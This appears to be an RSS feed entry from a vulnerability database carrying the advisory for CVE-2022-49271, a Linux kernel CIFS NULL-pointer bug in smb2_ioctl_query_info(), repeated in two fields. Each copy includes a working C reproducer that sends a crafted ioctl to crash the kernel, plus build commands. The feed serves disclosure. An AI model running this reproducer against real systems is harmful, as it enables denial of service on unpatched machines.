<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 05:15:56 +0000</lastBuildDate>
    <item>
      <title>CVE-2022-49271 — cifs: prevent bad output lengths in smb2_ioctl_query_info()</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2022-49271</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;cifs: prevent bad output lengths in smb2_ioctl_query_info()&lt;/p&gt;
&lt;p&gt;When calling smb2_ioctl_query_info() with
smb_query_info::flags=PASSTHRU_FSCTL and
smb_query_info::output_buffer_length=0, the following would return
0x10&lt;/p&gt;
&lt;p&gt;buffer = memdup_user(arg + sizeof(struct smb_query_info),
			     qi.output_buffer_length);
	if (IS_ERR(buffer)) {
		kfree(vars);
		return PTR_ERR(buffer);
	}&lt;/p&gt;
&lt;p&gt;rather than a valid pointer thus making IS_ERR() check fail.  This
would then cause a NULL ptr deference in @buffer when accessing it
later in smb2_ioctl_query_ioctl().  While at it, prevent having a
@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO
FileEndOfFileInformation requests when
smb_query_info::flags=PASSTHRU_SET_INFO.&lt;/p&gt;
&lt;p&gt;Here is a small C reproducer which triggers a NULL ptr in @buffer when
passing an invalid smb_query_info::flags&lt;/p&gt;
&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;
	#include &amp;lt;stdlib.h&amp;gt;
	#include &amp;lt;stdint.h&amp;gt;
	#include &amp;lt;unistd.h&amp;gt;
	#include &amp;lt;fcntl.h&amp;gt;
	#include &amp;lt;sys/ioctl.h&amp;gt;&lt;/p&gt;
&lt;p&gt;#define die(s) perror(s), exit(1)
	#define QUERY_INFO 0xc018cf07&lt;/p&gt;
&lt;p&gt;int main(int argc, char *argv[])
	{
		int fd;&lt;/p&gt;
&lt;p&gt;if (argc &amp;lt; 2)
			exit(1);
		fd = open(argv[1], O_RDONLY);
		if (fd == -1)
			die(&amp;#34;open&amp;#34;);
		if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)
			die(&amp;#34;ioctl&amp;#34;);
		close(fd);
		return 0;
	}&lt;/p&gt;
&lt;p&gt;mount.cifs //srv/share /mnt -o ...
	gcc repro.c &amp;amp;&amp;amp; ./a.out /mnt/f0&lt;/p&gt;
&lt;p&gt;[  114.138620] general protection fault, probably for non-canonical address…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;cifs: prevent bad output lengths in smb2_ioctl_query_info()&lt;/p&gt;
&lt;p&gt;When calling smb2_ioctl_query_info() with
smb_query_info::flags=PASSTHRU_FSCTL and
smb_query_info::output_buffer_length=0, the following would return
0x10&lt;/p&gt;
&lt;p&gt;buffer = memdup_user(arg + sizeof(struct smb_query_info),
			     qi.output_buffer_length);
	if (IS_ERR(buffer)) {
		kfree(vars);
		return PTR_ERR(buffer);
	}&lt;/p&gt;
&lt;p&gt;rather than a valid pointer thus making IS_ERR() check fail.  This
would then cause a NULL ptr deference in @buffer when accessing it
later in smb2_ioctl_query_ioctl().  While at it, prevent having a
@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO
FileEndOfFileInformation requests when
smb_query_info::flags=PASSTHRU_SET_INFO.&lt;/p&gt;
&lt;p&gt;Here is a small C reproducer which triggers a NULL ptr in @buffer when
passing an invalid smb_query_info::flags&lt;/p&gt;
&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;
	#include &amp;lt;stdlib.h&amp;gt;
	#include &amp;lt;stdint.h&amp;gt;
	#include &amp;lt;unistd.h&amp;gt;
	#include &amp;lt;fcntl.h&amp;gt;
	#include &amp;lt;sys/ioctl.h&amp;gt;&lt;/p&gt;
&lt;p&gt;#define die(s) perror(s), exit(1)
	#define QUERY_INFO 0xc018cf07&lt;/p&gt;
&lt;p&gt;int main(int argc, char *argv[])
	{
		int fd;&lt;/p&gt;
&lt;p&gt;if (argc &amp;lt; 2)
			exit(1);
		fd = open(argv[1], O_RDONLY);
		if (fd == -1)
			die(&amp;#34;open&amp;#34;);
		if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)
			die(&amp;#34;ioctl&amp;#34;);
		close(fd);
		return 0;
	}&lt;/p&gt;
&lt;p&gt;mount.cifs //srv/share /mnt -o ...
	gcc repro.c &amp;amp;&amp;amp; ./a.out /mnt/f0&lt;/p&gt;
&lt;p&gt;[  114.138620] general protection fault, probably for non-canonical address…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2022-49271</guid>
    </item>
  </channel>
</rss>
